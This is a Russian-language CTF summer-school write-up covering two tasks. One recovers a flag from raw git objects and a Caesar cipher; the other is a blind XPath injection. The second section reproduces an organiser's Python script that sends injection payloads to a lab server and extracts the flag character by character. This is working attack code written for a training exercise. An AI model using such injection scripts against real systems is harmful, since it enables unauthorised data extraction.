Летняя школа CTF

Летняя школа CTF

Капибары

Оглавление

1 (форензика)

2 (веб)

Неделя 1 (форензика)

Условие задачи:
Name: Forgetful

Info: Говорили же мне, пиши важную информацию на листочке… оставь его у компа… 

Формат флага - letoctf{}

Файл
Решение:

Распаковав архив, видим, что в нем есть каталог с файлами системы контроля версий git и понимаем, что это подсказка. Флаг, скорее всего, будет спрятан где-то в промежуточных версиях.

Беглая проверка на наличие репозитория на github'е (.git/config url= https://github.com/CapLOBO/caesar.git) показала, что он либо "спрятан" настройками приватности, либо удален, значит надо работать напрямую с объектами. Для этой цели есть несколько хороших утилит:

  • GitTools - а вернее Extractor, но он написан на bash и работает под Linux
  • каталог от hacktricks

Есть еще вариант работы руками, с использованием zlib-flate (очень хороший writeup на эту тему). Но мы решили по пути распаковки файлов на Питоне и поиска что-нибудь интересного внутри. Простенький скрипт для этой цели:

import zlib
import os
start = "c:\\Users\\CapybarasCTF\\Downloads\\caesar\\.git\\objects\\"
for root, dirs, files in os.walk(start):
    for name in files:
        print(root + "\\" + name)
        with open(root + "\\" + name, "rb") as f:
            try:
                content = f.read()
                print(zlib.decompress(content).decode())
            except:
                pass

И мы тут же нашли в файле 4c\70914dbcbf5f1122c6baf7e55d11c3677171b3 интересную запись:

FLAG = 'p0l_4i3_s35k_3et0u3i'

Организаторы предложили немного другой вариант:

git fsck --lost-found - для поиска удаленных коммитов
git reset --hard <хэш удалённого коммита> - для отката на него

Но он не читается, правда, у нас есть подсказка в названии нашего проекта caesar.zip. Да и весь код его кричит о том, что это шифр Цезаря. Только непонятно количество шагов для расшифровки. Можно скормить на перебор https://www.dcode.fr/caesar-cipher, а можно попробовать проанализировать код дальше.

Результат перебора dcode

После короткого анализа мы понимаем, что нам нужно найти step_entity или step в коде. Находится он достаточно быстро в последнем варианте файла main.py.

STEP = 17.

Запускаем дешифратор и получаем флаг

letoctf{y0u_4r3_b35t_3nc0d3r}


Неделя 2 (веб)

Задача
Найди путь к флагу и достань его из секретного документохранилища

Решение:

Перед нами очень простая форма, в которой не фильтруется ввод

В зависимости от введенных данных выводится либо "Ничего не найдено" либо "Данные переданы на модерацию". Это XPath injection.

На основании разницы в ответе нужно было получить

Пример скрипта от организаторов

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
    r = requests.post("http://185.255.132.89:8001/", data={'search': "' or string-length(text())=" + str(i) + " and 'a'='a"})
    if "Данные" in r.text:
        l = i
        break
print("[+] Password length: " + str(l))
for i in range(1, l + 1):
    for al in alphabet:
        r = requests.post("http://185.255.132.89:8001/", data={'search': "' or substring(text(), " + str(i) + ",1)='" + al + "' and 'a'='a"})
        if "Данные" in r.text:
            flag += al
            print("[+] Flag: " + flag)
            break

Флаг: letoctf{XML_master_da_Way_XPAth_WaY}



Report Page